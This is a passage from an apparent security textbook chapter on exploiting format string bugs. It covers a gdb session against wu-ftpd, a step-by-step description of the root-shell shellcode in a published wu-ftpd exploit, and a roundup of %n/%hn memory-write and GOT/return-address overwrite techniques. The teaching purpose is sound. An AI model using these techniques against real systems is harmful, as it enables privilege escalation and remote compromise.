ftp      20578  0.0  0.4  2120 1052 pts/2    S    10:53   0:00 ftpd:
localhost.l
…
[root@vulcan format_string]# gdb
```

```
 (gdb) attach 20578
Attaching to process 20578
0x4015a344 in ?? ()
(gdb) continue
Continuing.

Program exited with code 02.
(gdb)
```

Perhaps at this point, since we're running code of our choice in wu-ftpd, we should take a look at what others have done in their exploits.

One of the most popular exploits for the issue was the `wuftpd2600.c` exploit. We already know broadly how to make wu-ftpd run code of our choice, so the interesting part is the shellcode. Broadly speaking, the code does the following:

1. Sets `setreuid()` to `0`, to get root privileges.
2. Runs `dup2()` to get a copy of the std handles so that our child shell process can use the same socket.
3. Works out where the string constants at the end of the buffer are located in memory, by `jmp()`ing to a call instruction and then popping the saved return address off the stack.
4. Breaks `chroot()` by using a repeated `chdir` followed by a `chroot()` call.
5. Runs `execve()` in the shell.

Most of the published exploits for the wu-ftpd bug use either identical code or code that's exceptionally similar.

Why Did This Happen?

So, why do format string bugs exist in the first place? You would think that someone implementing `printf()` could count the number of parameters passed in the function call, compare that to the number of format specifiers in the string, and return an error if the two didn't agree. Unfortunately, this is not possible because of a fundamental problem with the way that functions with variable numbers of parameters are handled in C.

To declare a function with a variable number of parameters, you use the *ellipsis* syntax, like this:

```
void foo(char *fmt, ...)
```

(You might want to look at man va_arg at this point, which explains variable parameter list access.)

When your function gets called, you use the va_start macro to tell the standard C library where your variable argument list starts. You then repeatedly call the va_arg macro to get arguments off the stack, and then you call the va_end macro to tell the standard C library that you're finished with your variable argument list.

The problem with this is that at no point have you been able to determine how many arguments you were passed, so you must rely on some other mechanism to tell you, such as data within a format string or an argument that's NULL:

```
foo( 1,2,3, NULL);
```

Although this seems pretty unbelievable, this is the ANSI C89 standard way to deal with functions with a variable number of arguments, so this is the standard that everyone's implemented.

In theory, any C function that accepts a variable number of arguments is potentially vulnerable to the same problem—it can't tell when its argument list ends—although in practice these functions are few and far between.

To summarize, the bug is all the fault of ANSI and C89, and has little or nothing to do with any implementer of the C standard library.

Format String Technique Roundup

We're now at the point where we can start exploiting Linux format string bugs. Let's quickly review the fundamental techniques that we've used:

1. If the format string is on the stack, we can supply the parameters that are used when we add format specifiers to the string. If we're brute forcing offsets for a format string exploit, one of the offsets we have to guess is the number of parameters we have to use before we get to the start of our format string.

   Once we can specify parameters:

   a. We can read memory from the target process using the `%s` specifier.

   b. We can write the number of characters output so far to an arbitrary address using the `%n` specifier.

   c. We can modify the number of characters output so far using width modifiers.

   d. We can use the `%hn` modifier to write numbers 16 bits at a time, which allows us to write values of our choice to locations of our choice.

2. If the address that we want to write to contains one or more null bytes, you can still use `%n` to write to it, but you must do this in two stages. First, write the address that you want to write to into one of the parameters on the stack (you must know where the stack is in order to do this). Then, use `%n` to write to the address using the parameter you wrote to the stack.

   Alternatively, if the zero byte in the address happens to be the leading byte (as is often the case in Windows format string exploits) you can use the trailing null byte of the format string itself.
3. Direct parameter access (in the Linux implementations of the `printf` family) allows us to reuse stack parameters multiple times in the same format string as well as allowing us to directly use only those parameters that we are interested in. Direct parameter access involves using the `$` modifier; for example:

   ```
   %272$x
   ```

   will print the 272nd parameter from the stack. This is an immensely valuable technique.
4. If for some reason we can't use `%hn` to write our values 16 bits at a time, we can still use byte-aligned writes and `%n`: we just do four writes rather than one and pad our number of characters output so that we're writing the low order byte each time. Table 4-1 shows an example of what we should do if we want to write the value `0x04030201` to the address `X`.

Table 4-1: Writing to Addresses

ADDRESS	X	X+1	X+2	X+3	X+4	X+5	X+6
Write to X	0x01	0x01	0x01	0x01			
Write to X+1		0x02	0x02	0x02	0x02		
Write to X+2		0x03	0x03	0x03	0x03		
Write to X+3		0x04	0x04	0x04	0x04		
Memory after four writes	0x01	0x02	0x03	0x04	0x04	0x04	0x04

The disadvantage of this technique is that we overwrite the 3 bytes after the 4 bytes we're writing. Depending on memory layout, this may not be important. This problem is one of the reasons why exploiting format string bugs on Windows is fiddly.

Now that we've reviewed the basic reading and writing techniques, let's look at what we can do with them:

- Overwrite the saved return address. To do this, we must work out the address of the saved return address, which means guesswork, brute force, or information disclosure.
- Overwrite another application-specific function pointer. This technique is unlikely to be easy since many programs don't leave function pointers available to you. However, you might find something useful if your target is a C++ application.
- Overwrite a pointer to an exception handler, then cause an exception. This is extremely likely to work, and involves eminently guessable addresses.
- Overwrite a GOT entry. We did this in wu-ftpd. This is a pretty good option.
- Overwrite the `atexit` handler. You may or may not be able to use this technique, depending on the target.
- Overwrite entries in the DTORS section. For this technique, see the paper by Juan M. Bello Rivas in the bibliography.
- Turn a format string bug into a stack or heap overflow by overwriting a null terminator with non-null data. This is tricky, but the results can be quite funny.
- Write application-specific data such as stored UID or GID values with values of your choice.
- Modify strings containing commands to reflect commands of your choice.

If we can't run code on the stack, we can easily bypass the problem by the following:

- Writing shellcode to the location of your choice in memory, using `%n`-type specifiers. We did this in our wu-ftpd example.
- Using a register-relative jump if we're brute forcing, which gives us a much better chance of hitting our shellcode (if it's in our format string).

For example, if our shellcode is at `esp+0x200`, we can overwrite some of the GOT with something like this:

```
add $0x200, %esp
jmp esp
```

This gives us the location of the code that will jump to our shellcode, so when we overwrite our function pointer (GOT entry, or whatever) we know that we'll land in our shellcode. The same technique works for any other register that happens to be pointing at or close to our shellcode after the format string has been evaluated.

In fact, we can fairly easily write a small shellcode snippet that will find the location of a larger shellcode buffer, and then jump to it. See Gera and Riq's excellent *Phrack* paper at `http://www.phrack.org/archives/59/p59-0x07.txt` for more information.

Conclusion

This chapter presented just a few ideas on format string bugs as a refresher and as food for thought. Although format string bugs appear to be growing rarer, they offer such a large range of attack techniques that they are worth understanding.